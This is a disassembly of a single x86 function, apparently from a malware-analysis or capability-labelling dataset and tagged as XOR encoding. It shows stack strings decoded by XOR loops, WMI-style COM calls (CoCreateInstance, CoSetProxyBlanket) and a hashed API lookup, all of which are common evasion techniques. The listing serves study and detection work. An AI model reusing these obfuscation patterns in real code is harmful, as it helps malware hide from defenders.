Function at 0x43bc10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x80
mov esi, esp
mov ebx, dword [ebp + 8]
push eax
sub esp, 0x34
mov dword [esi + 8], esp
push eax
mov dword [esi + 0x18], esp
push eax
mov dword [esi + 0x14], esp
push eax
mov dword [esi + 0x24], esp
sub esp, 0x10
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x10], eax
mov esp, eax
push eax
sub esp, 0x1c
mov dword [esi + 0xc], esp
push eax
mov dword [esi + 0x20], esp
mov eax, dword [0x451cf8]
mov dword [esi + 0x2c], 0x99479bb7
mov dword [esi + 0x30], 0xa55ba71f
mov dword [esi + 0x34], 0xa149a358
mov dword [esi + 0x38], 0xad62af53
mov dword [esi + 0x3c], 0xa95dab52
mov dword [esi + 0x40], 0xb55db752
mov dword [esi + 0x44], 0xb1b2b39f
mov word [esi + 0x48], 0
xor ecx, ecx
nop
nop
nop
mov edx, ecx
add dl, 0xdb
xor dl, byte [esi + ecx + 0x2c]
add dl, 0xb9
mov byte [esi + ecx + 0x2c], dl
inc ecx
cmp ecx, 0x1e
jne case.default.0x43bcbd
lea ecx, [esi + 0x54]
lea edx, [esi + 0x68]
lea edi, [esi + 0x2c]
push ecx
push 8
push edx
push 0xd
push edi
push 0
call eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44f44c]
mov dword [esi + 0x68], 0x3a0043
mov word [esi + 0x6c], 0x5c
mov word [esi + 0x6e], 0
mov eax, dword [case.0x43bcbd.4]
mov edi, dword [esi + 0x20]
nop
mov dword [esi + 0x60], 0
mov dword [esi + 0x5c], 0
mov dword [esi + 0x58], 0
mov dword [esi + 0x54], 0
jmp eax
mov dword [esi + 0x28], 0
lea eax, [esi + 0x28]
push eax
push 0x448b20
push 1
push 0
push 0x448b30
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44f464]
mov dword [esi + 0x2c], 0x4ffd49fe
mov dword [esi + 0x30], 0x43f64dff
mov dword [esi + 0x34], 0x470141ec
mov dword [esi + 0x38], 0xbb0745fd
mov dword [esi + 0x3c], 0xbfe8b912
mov word [esi + 0x40], 0xbdbc
mov dword [esi + 0x42], 0
mov word [esi + 0x46], 0
mov ecx, 0xd
mov eax, 0x313a5df1
nop
nop
nop
nop
nop
nop
nop
mov dword [esi + 4], ecx
movzx edi, byte [esi + eax - 0x313a5dc5]
lea edx, [eax - 0xff]
mov ebx, dword [esi + 4]
or ebx, edx
mov ecx, eax
sub ecx, ebx
and ecx, edi
or edx, edi
xor edx, ecx
lea ecx, [edx + 0x9dc2f45]
mov edi, ecx
mov ebx, ecx
xor ecx, 1
add edx, ecx
add edx, 0x9dc2f45
and ebx, 0xfe
sub edx, ebx
mov ecx, dword [esi + 4]
and edi, 1
add edx, edi
mov byte [esi + eax - 0x313a5dc5], dl
dec ecx
inc eax
cmp eax, 0x313a5e0d
jne 0x43bd70
lea eax, [esi + 0x2c]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, dword [esi + 0x28]
mov ecx, dword [edi]
lea edx, [esi + 0x1c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esi + 0x64], eax
push eax
push edi
call dword [ecx + 0xc]
mov ecx, dword [case.0x43bcbd.9]
mov ebx, dword [ebp + 8]
mov edi, dword [esi + 0x20]
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44f47c]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esi + 0x1c]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44f484]
jmp dword [0x44f510]
mov dword [esi + 0x2c], 0x2155274d
mov dword [esi + 0x30], 0x5d222354
mov byte [esi + 0x34], 0
xor eax, eax
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x39
xor cl, byte [esi + eax + 0x2c]
add cl, 0xe3
mov byte [esi + eax + 0x2c], cl
inc eax
cmp eax, 9
jne 0x43be50
lea eax, [esi + 0x2c]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi + 0x4c], eax
mov eax, dword [esi + 8]
mov dword [eax], 0xf73b09b7
mov dword [eax + 4], 0xf33ff540
mov dword [eax + 8], 0xff42f13f
mov dword [eax + 0xc], 0xfb2cfd1c
mov dword [eax + 0x10], 0xe72cf918
mov dword [eax + 0x14], 0xe351e55a
mov dword [eax + 0x18], 0xef0ee155
mov dword [eax + 0x1c], 0xeb43ed57
mov dword [eax + 0x20], 0xd709e97a
mov dword [eax + 0x24], 0xd371d50a
mov dword [eax + 0x28], 0xdf17d11e
mov dword [eax + 0x2c], 0xdb65dd6f
mov word [eax + 0x30], 0xd9d8
mov dword [eax + 0x32], 0
mov word [eax + 0x36], 0
xor ebx, ebx
xor ecx, ecx
movzx edx, byte [eax + ecx]
mov eax, ebx
and eax, 0x7c
mov edi, ecx
xor edi, 0x4bad9a7e
add edi, eax
xor edi, edx
mov eax, edi
and eax, 0x76
mov edx, edi
xor edx, 0x89
add edx, edi
sub edx, eax
mov eax, dword [esi + 8]
and edi, 0x89
add edx, edi
inc dl
mov byte [eax + ecx], dl
inc ecx
add ebx, 2
cmp ecx, 0x38
jne 0x43bee0
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, eax
mov eax, dword [esi + 0x1c]
mov dword [esi + 8], eax
mov eax, dword [eax]
mov dword [esi + 0x50], eax
mov ebx, dword [ebp + 8]
mov edi, dword [esi + 0x4c]
mov dword [esi + 4], ecx
jmp dword [0x44f48c]
mov edx, dword [esi + 8]
mov ecx, dword [edx]
push 0
push 0
mov eax, edi
mov edi, dword [esi + 0x10]
push edi
push 0
push eax
push edx
call dword [ecx + 0x10]
movzx ecx, word [edi]
test eax, eax
setns al
cmp cx, 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44f4cc]
mov ebx, dword [esi + 0x14]
mov edi, dword [esi + 0xc]
jmp dword [0x44f4bc]
push dword [esi + 0x10]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov dword [edi], 0x3f9b398f
mov dword [edi + 4], 0x238b3daa
mov dword [edi + 8], 0x278a2181
mov dword [edi + 0xc], 0x2bbf2596
mov dword [edi + 0x10], 0x2f882985
mov dword [edi + 0x14], 0x13842d89
mov word [edi + 0x18], 0x1110
mov dword [edi + 0x1a], 0
mov byte [edi + 0x1e], 0
mov eax, 0x4a
mov ecx, 0xb5
nop
mov edx, dword [esi + 0xc]
movzx edi, byte [edx + eax - 0x4a]
mov edx, ecx
xor edx, eax
and edx, edi
mov edi, dword [esi + 0xc]
xor edx, eax
add dl, 0x8e
mov byte [edi + eax - 0x4a], dl
inc eax
dec ecx
cmp eax, 0x69
jne 0x43c1d0
push dword [esi + 0x10]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebx]
mov dword [esi + 8], eax
mov dword [edi], 0x3f9b398f
mov dword [edi + 4], 0x238b3daa
mov dword [edi + 8], 0x278a2181
mov dword [edi + 0xc], 0x2bbf2596
mov dword [edi + 0x10], 0x2f882985
mov dword [edi + 0x14], 0x13842d89
mov word [edi + 0x18], 0x1110
mov dword [edi + 0x1a], 0
mov byte [edi + 0x1e], 0
mov ecx, 0x4a
mov eax, edi
mov edi, 0xb5
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [eax + ecx - 0x4a]
mov edx, edi
xor edx, ecx
and edx, ebx
xor edx, ecx
add dl, 0x8e
mov byte [eax + ecx - 0x4a], dl
inc ecx
dec edi
cmp ecx, 0x69
jne 0x43c250
mov ebx, dword [esi + 0x14]
mov edi, eax
jmp dword [0x44f4c4]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [edx], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x44f4b4]
mov eax, dword [esi + 0x18]
mov eax, dword [eax]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [case.0x43bcbd.19]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
push dword [esi + 0x64]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 0x28]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [edi], 0
push 0xd2e7977e
push dword [0x451cf0]
call fcn.004443c0
add esp, 8
push 0
push 0
push 0
push 0
push edi
push 0
push 0
lea ecx, [esi + 0x68]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44f51c]
mov eax, dword [edi]
push edx
push dword [esi + 0x14]
push 1
push 0xffffffffffffffff
push edi
call dword [eax + 0x10]
mov edx, dword [esi + 0x24]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [edi]
push edx
push dword [esi + 0x14]
push 1
push 0xffffffffffffffff
push edi
call dword [eax + 0x10]
mov edx, dword [esi + 0x24]
jmp dword [0x44f4b0]
not eax
shr eax, 0x1f
mov ecx, dword [esi + 0x18]
jmp dword [eax*4 + 0x44f49c]
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esi + 0x4c]
call edi
push dword [esi + 4]
call edi
mov edi, dword [esi + 0x20]
jmp dword [0x44f510]
mov edx, dword [esi + 0x24]
mov dword [edx], 0
mov edi, dword [ecx]
jmp dword [0x44f4a4]
push dword [esi + 0x18]
push 0
push 0x30
push ecx
push edi
push dword [esi + 8]
mov eax, dword [esi + 0x50]
call dword [eax + 0x50]
mov ecx, dword [esi + 4]
push dword [esi + 0x18]
push 0
push 0x30
push ecx
push edi
push dword [esi + 8]
mov eax, dword [esi + 0x50]
call dword [eax + 0x50]
mov ecx, dword [esi + 4]
jmp dword [0x44f494]